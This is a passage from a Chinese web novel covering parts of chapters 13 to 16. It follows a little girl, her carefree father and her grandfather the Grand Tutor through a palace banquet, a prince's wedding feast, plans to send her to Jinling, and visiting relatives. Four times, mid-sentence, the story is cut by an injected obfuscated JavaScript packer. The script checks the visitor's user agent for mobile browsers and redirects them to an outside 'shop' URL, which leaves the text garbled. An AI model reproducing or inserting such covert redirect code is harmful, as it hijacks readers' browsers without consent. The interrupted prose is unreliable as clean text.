泱泱眨着豆豆眼,疑惑问:“爹爹?” 徐九涣:“……嗯?” 先前见着还是师兄,这就变啦? “他咋的还生气了?!”泱泱越想越不可思议,小眼睛越睁越大,插着小腰好气哦! 走在后面的一个小豆丁忽的扭身,哒哒哒的跑过来,看着面前跟自己一同高的小丫头,义愤填膺的生气,“因我五哥不想娶你!” 他憋了憋,又说:“丑!” 泱泱咻的瞪圆了眼睛,她今天穿得很漂亮的! “……你眼睛坏掉啦?” “你!”小豆丁气得要伸手推她。 泱泱很是利索的身子一侧,躲开他的手,抱住了爹爹的大腿,眼睁睁的瞧着他啪叽摔在了喜鹊登枝的鹅卵石上。 小绣鞋忍不住轻轻踢了他一下,很快咻的收回。 泱泱仰着脑袋看天问月,满脸天真,她啥都没干呐~ “哇……” 嘹亮的哭声惊扰了走远了几人。 赵徵回头就见这个最小的弟弟,不知何时掉了队,竟是趴在地上哭,旁边站着徐九涣父女。 目光对上,父女俩如出一辙的双手一摊,理直气壮,与他们无瓜! 赵徵:…… “别哭了,起来。”他走回去,停在旁边说。 似觉他在地上打滚儿哭嚎的行径丢脸,一双眉皱着。 泱泱依着爹爹的腿瞧热闹,忽的,一根手指头朝她指来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137533|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— “五哥!是她推我!”小豆丁抹着眼泪哭诉道。 泱泱倏地提起的心又啪的落了回去,对着面前有恃无恐,倒打一耙的小皇孙道:“你咋的睁眼说瞎话?你这样胖,我弱弱哒~怎推得动你?” “她为何推你?” 两道声音几乎同时响起。 泱泱看向赵徵,“你信他说的?!” 她唇齿微张,满目不可置信。 赵徵看她一眼,没答。 泱泱没理会小皇孙那张湿漉漉、得意洋洋的脸,牵起爹爹的手呐呐说:“咱们走吧。” 今日的世子,不是昨日的世子,不会与她道歉了。 她还踢了那讨人厌的小孩儿一脚呢,得跑啦! 可她这副恹恹神色,落在旁侧几人眼中,便是被赵徵伤着了,很是难过就是了。 有人气焰愈发高涨,有人垂眉敛眸静默一旁。 赵徵确实不愿娶徐华缨。 她是太傅的孙女,他是陵王府世子。父王说,皇祖父器重太傅,他们两家结亲,来日荣登大宝便多几分成算。 可他不愿意,他不愿太傅去替他、替父王去争。 他入学宫几载,受太傅教诲。 君君臣臣,各有其道。 太傅为人臣,当以忠君为先。储君之位,是国事,亦是家事,皇祖父想要将这位置给谁,臣子可谏,却不可谋。 赵徵望着走远的两道背影,与腿边的弟弟道:“将脸擦干净,日后若再敢扯谎骗人,我会如实与皇祖父说的。” “啊……”小皇孙顿时皱着脸,对上他沉着的眼眸,敢怒不敢言,委委屈屈的应:“是,我知错了。” 宴席盛大,歌舞升平,皇亲贵胄坐在下首,往后才是依着官制品阶的臣子。 皇子龙孙循着兄弟年岁先后为成禧帝贺寿,贺寿之物也尽是别样。 泱泱在一众皇孙中瞧见赵徵,瘪瘪嘴,脑袋一扭不瞧他。 皇孙们未送金银之物,皆是作了诗词贺寿。 方才讹人的小皇孙,磕磕巴巴的背了一首,神色瞧着很是骄傲了。 泱泱往嘴里塞了块小点心,心想:真堕祖父的太傅之名。 哄他祖父开心就好啦。 贺寿罢,便是开宴。 宴席过半,多是不拘,众臣相熟,端着酒盏各处说话吃酒,自是热闹。 泱泱吃罢桌上的一道奶酥,颇觉意犹未尽。 婶娘说的对! 宫中的点心好吃的! 忽的,一道粉色福蝶似的身影小跑来,将一碟子奶酥放在了她桌案上。 “嗯?”泱泱疑惑的仰着脸看她。 “我是陵王府的,闺名是商絮二字,”小郡主凑过来,屁股挤挤,与她同坐一席,“听母妃说,你便是我日后的嫂嫂,我的奶酥给你吃啊。” 泱泱看着桌上香喷喷的奶酥咽了咽口水,两只小手交握着没去碰那点心,扬起白生生的小脸,神色颇为认真说:“世子厌我……” 说着,她稍顿了顿,语气更甚坚定道:“我亦如是。” 赵商絮:“……啊?” “我不会是你的嫂嫂。” “啊……” 泱泱:“嗯!”坚定脸。 14. 第 14 章 过了腊八就是年。 自成禧帝继位后,汴京官员从年前往年后数,得有二十日的年假,吃席交友,很是舒畅。 不过,在这年根下,倒是出了桩喜事。 雍王娶了周大人家的胞妹为侧妃,大宴宾客。 帖子送来了徐府,徐鉴实阴着脸险些没顾尊卑让人扔了去,倒是徐九涣拿着那帖子悠悠的来雍王府凑了个热闹。 冬日艳阳,描漆画柱。 还未到良辰吉时,几位夫人坐在廊下闲聊。 “三媒六礼,就没见谁家成亲是这般仓促的。” “说什么呢?娶的是侧妃罢了,哪里有三媒六礼的讲究?” “可这般大摆筵席,雍王妃面子上怕是不好瞧。” “没见着今日称病,都未出席嘛。” “听说是那日万寿节时……二人便有了首尾?” “不是这回事,是周家那妹子欲要赏残莲,不慎失足落水了,给雍王殿下瞧见了,将人救了上来,当日御园里的几个宫人都瞧见了。” “这浑身湿漉漉的,又是孤男寡女的,男的便罢了,周家那妹子先前本就被耽搁了几年,如今都有二十了,这事要传出来,怕是更不好嫁人。” “为何那几个宫人不去救?” “你说这话……”夫人们心照不宣的低笑。 笑声忽的又戛然而止,几人僵硬扭头,便见那漆红廊柱后的徐九涣,瓜子壳都磕了半张手。 众人:…… “这般说,雍王救人是……”徐九涣似未觉气氛有异,说着挑眉,大有一切尽在不言中的意思。 说话的几位夫人,面上神色如云织,复杂的紧。 “……徐大爷怎的在此处?”一人讪讪开口,又瞧了眼几人,道:“我们也是道听途说罢了,当不得真。” “倒也未必,”徐九涣嗑着瓜子儿,满脸信然道:“御园那事听着便很真切。” “……徐大爷赏园子吧,我们便不打扰了。”那夫人咬牙道。 言罢,几人匆忙起身,朝着另一处急急走了,活似身后有鬼在追。 徐九涣看向旁边藏着脑袋的闺女,忧桑叹息道:“怎这般人憎鬼厌的,人家不跟咱玩儿。” 泱泱都要愁死了。 祖父说,君子不立于危墙之下,爹爹却是带她在这儿听墙角! 泱泱放下捂着嘴巴的小手,含着粽子糖嘀咕:“我回家要跟祖父说……” “那你祖父得揍我。” 泱泱小眼神上下打量他,实话实说道:“爹爹该揍……” 宴在晌午,宾客如云。 花轿抬来时,爆竹声响彻云霄。 诚如方才几位夫人说的,没见着雍王妃,也不知是因这侧妃排场盛大而妒忌生厌不愿出席,还是雍王不许。 左右都是难为人的罢了。 徐九涣抱着泱泱,嘀嘀咕咕的与她讲:“瞧见没,等闲变却故人心,男的没个好东西,你日后有相中的郎君,得跟我说,我多替你瞧瞧。” 泱泱抱着爹爹的脑袋,伸长脖子往外瞧热闹,脆声敷衍道:“好!” 雍王府与周家结亲匆促,喜宴却是办得热闹盛大。 几位王爷不管私下如何争,面上瞧着少不得兄友弟恭。 御园之事,徐九涣未听得消息,但是这结亲,倒也不难猜,毕竟,文臣之中周家最盛。 与徐家靠着徐鉴实这个独苗苗撑着不同,周家子息繁盛,也多出众,几房子孙皆是京官文臣,扎根深厚。 就是不知这门亲事,是谁先迈的脚。 徐九涣突然有些佩服自家老头儿了,都说独木难撑,徐鉴实却是在这朝堂站了几十年,自个儿也被庇佑乘凉了几十年。思及此,他心里叹息一声—— 回家得鞭策徐士钦!都快三十岁的人了,才是五品小官!他得何日才能在他树荫下乘凉啃瓜? “阿嚏!” 泱泱打了个响亮的喷嚏,揉着鼻子狐疑的瞅爹爹,懵懵的问:“你骂我?” 徐九涣:“……别冤我。” 泱泱哼了声,小辫儿翘起,瞧着那厢热闹进了府,道:“咱们去吃和尚炙肉呀~” “那秃头烤得肉也就寻常。”徐九涣嫌弃道。 “好吃的!”泱泱抱着他的脑袋晃着撒娇,“去嘛去嘛~” “诶呀,去去去!” 宾客簇拥着新人入府,父女俩趁着门前的空落溜了。 晌午日光艳艳,从学宫过来的赵徵刚下马车,便见那道柳绿的小背影爬上了小马驹,欢快的晃着脚脚,翘辫也跟着一晃一晃的。而身边那道高大挺拔的身影替她牵马,步伐悠悠。 父女俩不知在说什么,偶尔间瞥见那张稚气侧脸,眉眼弯弯,笑若桃李。 赵徵晃了好片刻的神,直至小厮低声催促,他方回神,而那两道身影早已转过街口,瞧不见了。 . 今日大相国寺有集市,门前堵得水泄不通。各种好吃好玩儿的,委实热闹的紧。 徐九涣带着闺女去烧朱院饱食一顿,顺道晒着午后的暖阳,将大相国寺逛了一通,才牵着小马驹打道回府。 刚进门,却是被小厮告知,徐鉴实喊他去书房。 徐九涣摸着下颌沉吟,“总不能是我昨日教考太差,抓我去读书的吧?” 泱泱一双桃花眼笑眯眯,丝毫不能体会爹爹之忧虑,道:“我考得好哦~” 这不,祖父今日都给她放假啦! 徐九涣在她小脑袋瓜上轻弹了下,骂:“小没良心的……” 泱泱缩着脑袋偷笑。 再是不情愿,徐九涣还是拖着步子去了老头儿书房。 这院中只两个小厮,除了洒扫便是研墨,此时侯在檐下,瞧见他进来,齐齐见礼。 “在?”徐九涣下巴朝屋子抬了抬,问道。 小厮笑着点头,稍走远了些。 书房中烧着炭盆,猩红的炭火瞧着将熄,徐九涣进来便用那夹子往里添了几块,惹得老爹抬眼瞪来。 “添两块便够了,铺张浪费。”徐鉴实训斥一句。 徐九涣不以为意,“这屋里都没些热乎气儿。” 说着,煞有介事的拢了拢自己身上的氅衣,似当真嫌这屋里阴冷。 徐鉴实白他一眼,没好气道:“后日你堂叔他们便要到了,你去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151670|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接。” “徐士钦呢?”徐九涣问。 “腊月二十姚家做宴,他得陪着媳妇儿去吃席,抽不得空。” 徐鉴实说完,便示意他可滚了。 徐九涣却是没走,给自己倒了碗凉茶,边喝倚着他的桌案边沿问:“你特意修书,邀堂叔来京中过年,是想趁着堂叔他们这次回来,走时将泱泱带去晋陵?” 徐鉴实也没想瞒过他,闻言,道:“如今朝中不稳,储君一日未定,便易生变数,泱泱留在京中不是好事。” 此遭赐婚,可不就是应验? 他说着,顿了片刻,又道:“与陵王府的这门亲事,等日后时机,我会求退了,你稳当些,少惹事端。” 徐九涣不服,“怎就老说我?人家欺负到了我脸上,我都置之未理,很给颜面了。” 徐鉴实被噎了一句,没忍住又瞪他一眼,“你若从前行事便得宜,我又何至于如此想你?” “士别三日当刮目相待,我如今也算是脱胎换骨。”徐九涣自信道。 徐鉴实:…… 好大的一张脸。 “既你也同意,那就等年后,你堂叔他们回晋陵之时,将泱泱一同带着去,你也放心,我且还在,你堂叔他们族中长辈,虽不说待泱泱如同自己膝下子孙疼宠,但也自当亲厚,不会苛待,”徐鉴实说,“这几日街上热闹,你带泱泱多去瞧瞧。” “哦,那银子……”徐九涣无辜脸。 徐鉴实:“……与管家说,从我账上拿。” 徐九涣唇角飞速翘起,满意了,放下茶碗,两臂舒展伸了个懒腰,可谓舒坦,也舍得当个孝顺儿子了,瞥见那猩红染得正旺的炭盆说:“家里也不缺你省得两个炭火银子,冷了便让人添火。” 徐鉴实懒得搭理他,个败家玩意儿,“出去。” “……”徐九涣憋了憋,“翻脸真快。” 将人轰走,徐鉴实自实木椅子上起身,走到炭火盆前烤了烤火。 别说,暖烘烘的,很是舒适。 片刻,徐鉴实喊人将他束之高阁的箱笼抬来。 一卷卷的书籍,被珍藏的很好。 那是他从前读过的,求学之路多艰难,遇着晦涩难懂之处,书卷上便少不得多些墨迹。 徐鉴实一卷卷翻过,看着那些字迹从行云流水,力透纸背,逐渐变得青涩稚气,横平竖直都好似透着懵懂困惑。 火舌燎起,照亮了他半张侧脸的温色。 徐鉴实想,他没什么能送泱泱的,只盼这陈旧的书籍伴她,少些困惑,少些慌张。 读书明理,明理修身。淡泊明志,从容不迫。 翌日,被祖父告知今日不上课,可去街上玩儿时,泱泱小嘴儿张成了圆圈。 这也太好了叭! “我想带妹妹去~”泱泱倚在祖父膝头说。 徐鉴实摇首道:“天冷,你妹妹还小,只怕惹风寒。” 说着,他往她的小荷包里塞了两个银锭子,“想吃什么,想玩儿什么,都可买来。” 泱泱捏着鼓囊囊的小荷包,片刻,天真仰脸问:“祖父,烧朱院也能买来?” 徐鉴实:…… 15. 第 15 章 腊月二十,徐府上下早早便起了动静。 门前打扫得一派簇新,便是连两座石狮子都擦得干净,朱红漆的大门前,停着一辆马车,小厮揣着手在等。 片刻后,徐九涣裹着厚厚的氅衣,步伐如风的迈了出来,递给小厮两个烫手的大肉包,急吼吼的往车上去,“赶紧走。” 时辰尚早,天色尚且灰蒙一片,只有远处现出一点点的澄黄日头来。 小厮不明所以他这副身后有狼在追的架势,但手脚麻利的将肉包揣进胸口棉衣里,而后将脚凳放好,跳上车辕赶车。 春居堂。 泱泱醒来时,生了好片刻的闷气。 爹爹骗子! 说好带着她,自己偷溜了去! 绿稚捧着烘烤得暖乎乎的棉衣过来,忍笑道:“主子早早便出门了,小姐那时还睡着。” 小姑娘抱着小胳膊坐在被窝里,一副生闷气的模样,可爱的要命。 绿稚伺候她半年,还未见过她这般生气呢,也觉新奇,温声哄道:“棉衣烘好了,奴婢伺候小姐穿,等会儿得去与老爷一同用早饭,晚了不大好。” 泱泱想想,不能让祖父饿肚子。 勉强同意了她这话,伸出一只小胳膊来。 穿戴梳洗罢,两人往前院去。 用饭时,宋喜问:“泱泱一会儿可要跟婶娘去外祖母家?” 泱泱吃着香喷喷的肉饼,闻言抬头,“祖父呢?祖父也去?” 徐鉴实轻摇首,“祖父在家里,等你叔公他们来。” 泱泱想了想,说:“那我在家陪祖父等。” 宋喜用帕子替她擦擦油汪汪的小嘴,笑道:“不怪你祖父疼你。” 泱泱得意,“我可爱~” 宋喜好笑点头,“是。” 用过早饭,收拾片刻,宋喜与徐士钦便抱着闺女出门了。 泱泱也没回自己院子,尾巴似的跟在祖父身后跑来跑去。 徐鉴实替窗前的两株绿萝浇水,泱泱给他挽袖,徐鉴实提笔,泱泱跑去研墨,当真是贴心极了。 徐鉴实写完折子,将笔搁置一旁,笑问:“可是银钱不够用了?” 泱泱伏在他膝上,睁着圆眼睛说:“祖父可还觉得难过?” “嗯?”徐鉴实不明就里,不解的看着她。 “爹爹回家之时,也是这般坐立难安,”泱泱爬着坐在祖父腿上,拿起那墨迹未干的折子吹吹,放去一旁,又抓了笔练大字,“爹爹说,那叫近乡情怯,我听不大懂,可爹爹那时是难过的。” 她说着扭头,望着徐鉴实,“祖父也是吧。” 徐鉴实心口只觉五味杂陈,枯老的手轻轻摸她的头发,“泱泱,你可去过晋陵?” 泱泱仔细想了想,摇头道:“我去过许多地方,没有晋陵。” “晋陵与汴京不同,出门便是小桥流水,乌篷船,那里夏日有莲蓬吃,菱角粉糯,莲藕汤也很好喝,街市上许多小玩意儿,是汴京难见着的,冬日里,不似汴京这般冷,那里很少落雪,你有很多姐妹、兄弟在那儿,可以一处玩儿……” 忽的,泱泱从他膝上跳下来,抬着脸目光纯净道:“祖父是想泱泱去晋陵?” 徐鉴实唇还张着,话却是说不出来了。 小姑娘倏然双眼通红,对视片刻,也像是僵持片刻,满眼委屈的转身跑了出去。 “泱泱!”徐鉴实自桌案后起身。 小姑娘跑得头也不回。 绿稚侯在门外,不明所以的朝内望了眼,赶紧追了去。 . 徐九涣将堂叔一家接回来时,已近晌午。 各家炊烟袅袅,凛冽的寒风中散着饭菜香。 徐家二叔徐鉴礼,这两年长得富态了许多,自也不比大哥徐鉴实严肃,笑与侄子道:“总算了到了,这一路马车坐得我屁股疼。” 徐九涣打个哈欠,舒展了下被颠簸得似要散架的筋骨,闻言悠悠道:“这话老头儿没听见,否则少不得骂你有辱斯文。” 徐鉴礼哈哈笑,拍拍他肩,“下车。” 宽阔的街道之上,整齐停着五六辆马车。 叔侄俩在前面的车下来,便见徐鉴实正站在府门前遥遥望来,风吹过,长长的美髯飘逸,深色的袍摆被掀起一角,竟是瞧出几分仙风道骨之姿来。 徐鉴礼默默的摸摸自己圆滚滚的富态肚子,上前规矩行礼道:“大哥。” “嗯,”徐鉴实垂首打量他,“这一路可还顺利?” 徐鉴礼憨笑:“顺顺当当的。” 寒暄间,几位女眷也走了过来,依礼问安。 徐鉴礼妻子赵氏,眉眼温婉,瞧得出些书卷气来,身边将及笄的姑娘与她眉眼如出一辙,朝徐鉴礼福身,“伯父安好。” “好,榕惜也有十四了吧,几年没见,出落得亭亭玉立了。”徐鉴实夸赞道。 “大哥好记性,是有十四了,这也趁着及笄前,带她出来走动走动。”赵氏说。 徐九涣眉梢轻动了下,看向自家老头儿。 徐鉴实神色顿了一瞬,看向弟弟,便见那张富态的脸臊的有些发红。 “舟车劳顿,先进去吧,士钦他媳妇儿知你们愿意来,早早就让人将院子洒扫干净,只等着住了。” “怎么没见着他们夫妻?”赵氏问。 “武定伯府今日宴请,他们夫妻带着阿敏去了。”徐鉴实道。 说罢,他稍侧首,唤来徐九涣,“去将这身衣裳换了,没点规矩。” 徐九涣:? 他惑然的垂首打量身上灰白的袍子,又茫然抬眼。 那几人已然走远了一段。 徐九涣:欺负人? 不过…… 徐九涣扭头就走。 小姑娘今早没跟上他,不定如何气恼呢,方才也没跟着老头儿,估摸着不是跟着徐士钦去吃席了,就是窝在春居堂呢。 暖阳融融。 春居堂一派安静。 几个丫鬟坐在檐下绣帕子,缝鞋袜,目光却是频频朝那屋里挪。 “主子!” “泱泱呢?”徐九涣步入廊下问。 “小姐在屋里,生气了,将门自内上了门栓,不许我们打扰。”小丫鬟低声禀道,“绿稚姐姐在小厨房给小姐煮鱼汤呢。” 徐九涣啧了声,将肩上厚重的氅衣解下,递给她道:“放进屋里去。” 说罢,走到了那侧屋檐下。 院子里几双眼睛,都悄悄的瞧着。 徐九涣伸出一根手指抵了抵门,眉梢微挑。 还当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162904|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真上了门栓。 他侧耳贴上门,听得里边窸窸窣窣的动静,遂抬手叩门喊:“泱泱,给爹爹开个门呗。” 静等片刻,轻轻的脚步声由远及近,咔哒一声,门栓被拉开了。 徐九涣推开门,便见门内的小姑娘双眼红红,瘪着嘴巴满脸委屈的望着他,不等说话,哇的一声哭了出来。 徐九涣:! 没能出门跑马,这么委屈?! 徐九涣弯身将人一把抱起,抬脚进了屋,随手将门关上,隔绝了外面的视线。 不消片刻,他便觉肩颈一侧湿哒哒的。 “今日太早出门,没将你喊醒,别哭了,”徐九涣掏出帕子替她擤鼻涕,“还想跑马,等过会儿吃了饭再去,成不?” 小泱泱哭得抽噎,摇着脑袋,边哭边说:“不……不去……祖父不喜欢泱泱……他不要泱泱了……呜呜呜呜……” “啊?”徐九涣傻眼了。 “可是……泱泱也没……也没花很多银子……呜呜呜……” “养泱泱不费银子……” “我不吃很多了……” “泱泱会认真读书的……呜呜呜……” 小姑娘当真是委屈极了,泪珠子大颗大颗的掉,两只小手揪着徐九涣胸前的衣襟,哭得小身子一抽一抽的。 徐九涣也从这断断续续的哭声里听懂了些,大抵是老头儿跟她说了要去晋陵的话。 “别哭了,”徐九涣替她抹了把脸,“你祖父怎会不要你?” “祖父要我肘……呜呜呜……” 哄不好,这眼泪大抵是要将这府邸淹了去。 徐九涣心疼又觉好笑,凑在她小耳朵边嘀嘀咕咕的说了句什么。 毛茸茸乱糟糟的小脑袋咻的抬起,满脸的泪,神色诧异又懵懂。 徐九涣将湿哒哒的帕子放去旁边,抓起她的小手臂,用绵软的衣袖擦擦满脸淌的泪,道:“别与你祖父说嗷。” 泱泱哭了一通,眼睛红,鼻子红,脸蛋儿也红,还抽噎着停不下来,闻言懵懵的没说话。 “咱们这宅子漂亮不?”徐九涣替她抚着后背哄着问。 泱泱点点头。 “这是祖宗给咱打下的江山!”徐九涣语气夸张道。 小泱泱睁着圆眼睛,勉强竖起拇指神色真诚夸赞:“厉害。” 徐九涣点头,“如今有人想抢咱们漂亮的宅子,你祖父忙着呢,怕伤着你,才想将你暂时送回晋陵去,守这宅子的事,便交给你祖父与二叔烦心去。咱们住着这么好的房子,吃得饱穿得暖,开心当米虫就好啦。” “可是、可是泱泱也可以守宅子……” “……米虫不是这样当的。”徐九涣屈指在她脑袋上轻弹了下。 小姑娘搓着衣角纠结,片刻,仰着脸与他打商量:“泱泱先守宅子,再当米虫,行不?” 徐九涣也望着她,心口忽的有些难过。 “先当米虫,再守宅子。” “等你长大,”他说着,瞧了眼空荡荡的书架子,收回目光,道:“等你将你祖父的书都读完,就可守宅子了。” 小姑娘托着脸颊苦恼:“得很久呢,泱泱何时才能长大?” 徐九涣心里双手合十,正经道:童言无忌,童言无忌,慢些长大…… 16. 第 16 章 徐九涣喊了丫鬟端水进来,刚收拾罢,便有人来传话,催促去用饭。 父女俩过来堂屋时,却只徐鉴实坐着。 徐鉴礼一家子一个没见着。 想也知道,风尘仆仆,少不得要梳洗一番,换身干净衣裳再过来。 方才徐鉴实打发徐九涣回院子,不也是用着这法子? 眼下命人来催…… 徐九涣轻嗤了声,朝老头儿伸手。 “做甚?”徐鉴实眉头微皱道。 徐九涣不说,视线却是悄悄在泱泱脑袋顶上打了个转儿。 徐鉴实唇动了动,忽觉有些理亏,唤来门外的小厮进来,“去给他拿一两银子。” 话音未落,却是听得一声嘲笑。 徐鉴实深吸口气,改口道:“拿十两。” “唉……” “你想要多少?”徐鉴实被他一顿一声的打断,恼道。 “那就要看看,泱泱在你心里值多少。”徐九涣悠悠道,俨然一副狮子大开口的架势。 徐鉴实递给小厮一个眼神,示意他先退下。 待得人退出去,他目光稍垂,看向那不孝子腿边站着的,垂着脑袋数蚂蚁的小姑娘。 “泱泱,来祖父这里。”徐鉴实温声喊。 闻言,小泱泱抬头,脸上还有些刚哭过的残红,小嘴巴抿了抿,却是站着没动。 徐九涣抱着手臂悠哉看戏。 老头儿规矩的要命,幼时他与徐士钦哭闹,都没见着他哄过谁,他娘说,读书人脸皮薄,也金贵,可拉不下脸来哄人。 徐九涣没见过,是以,越发觉得他这副被瞧热闹的尴尬神色有趣。 徐鉴实瞪他一眼,深吸口气道:“自己去与管家拿。” 这是要将他打发走? 徐九涣心里轻哼了声,也不多言,扭身就往外去。 他一动,腿边小秤砣似的泱泱也跟着转身往外走。 “欸……” 低低的一声。 徐九涣唇角飞快翘起,不肖得瞧,都能想得出老头儿赔了夫人又折兵的神情。 诶呀~ 心情愉悦。 等拿了银子回来时,徐鉴礼一家子这回到了。 此行七八人,除却徐鉴礼与赵氏夫妻和膝下的两子一女外,还有族中的几个晚辈。 泱泱与几人行礼罢,反倒是被一个十二三岁的少年喊了声表姑姑,整个人目瞪口呆的楞在堂中。 当了表爷爷的徐九涣不厚道的笑话她,“你收了这么些见面礼,可给大侄儿备了?” 泱泱麻了。 她看着面前高几个她的表侄儿,万分不舍的摸出刚被爹爹分给的一个银锭递了出去,像模像样道:“拿去,买糖吃。” 满堂哄笑。 表侄儿脸红得像是猴子屁股,“……多谢表姑。” 家宴在晚间,晌午这顿吃过,众人也未多坐,长途跋涉的难免受累,各回院子去歇息了。 徐鉴实看了几回明显兴致不高的泱泱,正欲开口,却是被徐鉴礼笑着喊走了,说是要去书房探讨学问。 徐鉴实心中叹息,小孙女心胸宽,等闲不生气,真若是恼了,也委实难哄的紧。 泱泱不知他心中所想,跟着爹爹回院子去看见面礼! . 徐士钦夫妻俩是在酉时前回来的,刚进门便听闻二老爷一家回来了。 “可要这会儿去拜见?”宋喜低声问。 “不急,晚间家宴再见吧。”徐士钦道。 “只怕二叔二婶觉得咱们失礼。”宋喜迟疑道。 “你有了身子,晚个一时半刻的不妨事。”徐士钦说罢,把抱着的阿敏交给嬷嬷,“你们先回院子,我去与父亲说一声。” 女眷们坐在一处,虽是自家的宴席,但也免不得应酬,委实费神,宋喜面上有疲色,闻言也没再说,先与嬷嬷回去了。 晚间时,厅堂内灯火通明。 众人集聚一堂说笑。 “二叔与二婶远道而来,今日却是不曾远迎,委实失礼的紧,还望海涵。”宋喜轻声道。 “一家子何须说这外道话,”赵氏面目慈和,握着宋喜的手打量她微微隆起的小腹,“这是又有了?” 宋喜轻轻颔首,“三个月了。” “好福气,阿敏稍大些,也不闹人了,你这胎正好生。”赵氏道。 宋喜笑道:“家里两个姑娘,平日里也都很乖。” “是,”赵氏点头,又问起了武定伯府,“你外祖母身子可还好?” “尚且硬朗。” “说起来,我也许多年不曾见过你外祖母了,实在是我们回来得迟,路上耽搁了时日,不然今儿也借着你的光,去拜见她老人家才是。”赵氏握着她的手,熟稔热络道。 徐榕惜乖巧坐在旁边的绣凳上,听着她们寒暄说话,面容文气清秀。 “赶路辛苦,我还与夫君说起,二叔二婶这回得好好歇歇,明日若天晴,便让二爷带着弟弟妹妹们去逛逛汴京城。”宋喜柔笑道。 “是,他们几个长这么大,还没来过汴京呢,别叫繁华糊了眼才好,”赵氏笑话道,又说:“你妹妹都要及笄了,门都没出过两回,向来听闻汴京鳌山灯火热闹辉煌,这回也好好生瞧瞧,等嫁了人,便比不得在家做姑娘时松快自在了。” 徐榕惜听着这话,白皙的脸颊悄然飞上两朵云霞。 宋喜瞧见,笑问:“榕惜妹妹的亲事可定下了?” 徐士钦不着痕迹的朝这边瞧了眼。 “还没,”赵氏叹气道,“好儿郎哪里是这般好寻的?不过,汴京城中多贵子,年下宴席多,说不准也能碰着一二个,你说是吧?” 宋喜:…… 跌坑了。 “这要是碰着合适的,定了亲,就能顺当等着出嫁。”赵氏自顾自的道,“我记着你嫁二郎时,也不过十六?” “……是。” “到底是你好福气,早早便将二郎定下了,这京中多少贵女,说不准有那动了心思的,但碍于二郎早早定下的这桩姻缘亲事,我和你二叔膝下就榕惜这么一个姑娘,也只盼着她能像你这般顺当,京中各家如今是何情况,你比我熟,你可得替你妹妹费费心呢。” 宋喜听得面色微僵。 “可是摆好膳了?”那厢,徐士钦忽的出声。 门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174477|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前丫鬟一愣,继而点头。 “那便请二叔二婶入席吧,今日酒宴,夫人早早便操持了,只为替二位接风洗尘。”徐士钦道。 “你们夫妻二人实在客气,”赵氏笑着起身,嗔道:“我跟你们二叔回自己家,哪里这么讲究。” 徐士钦颔首:“是。” 泱泱牵着爹爹的衣角,父女俩走在后面。 忽的,她鼓起的腮帮子被轻轻戳了戳,便对上了爹爹的视线。 欸,被发现啦。 泱泱讪讪的笑,从小荷包里数出三颗糖来塞进爹爹手里。 徐九涣剥了一颗那油皮糖纸,将甜丝丝的糯米糖塞进嘴里,道:“下回自觉些。” 泱泱:“知道啦。” 一顿家宴用了一个时辰,宴散时,几个男人身上多少都沾染了酒气。 泱泱从小孩儿桌跑过来,爬到了爹爹肩膀上坐着,两只手揪着他的耳朵。 徐九涣也惯着她,慢悠悠的驮着她往外走,身边绿稚跟着提灯照路。 赵氏在后面瞧见,眉心不觉一皱,“这哪里有姑娘家的样子……” 徐榕惜轻扯了下她衣袖,轻轻摇了摇头。 赵氏不痛快的勉强闭上了嘴。 徐榕惜话少,却也瞧得清楚,徐家上下,不说徐九涣,就是徐鉴实与徐士钦夫妻,都待泱泱极好,不与她阿娘一般流于表面的客气,是真的喜欢。 她们还要在汴京住一段时间,虽说这里也是她们的家,可终究比不得徐鉴实他们大房。 毕竟,如今这徐家,是徐太傅的徐。 各自回了院子。 宋喜屏退丫鬟,低声道:“听二婶的意思是,想将榕惜堂妹嫁来汴京?” 徐士钦往泡脚盆里添了瓢热水,“你要不?” 宋喜抬起了脚,也添了一瓢,忍不住催促道:“你说话。” 徐士钦侧身将瓜瓢放好,道:“明摆着了。” “那二叔的意思呢?他也愿意将闺女嫁来这么远?” 闻言,徐士钦看她,“你不也是远嫁?” 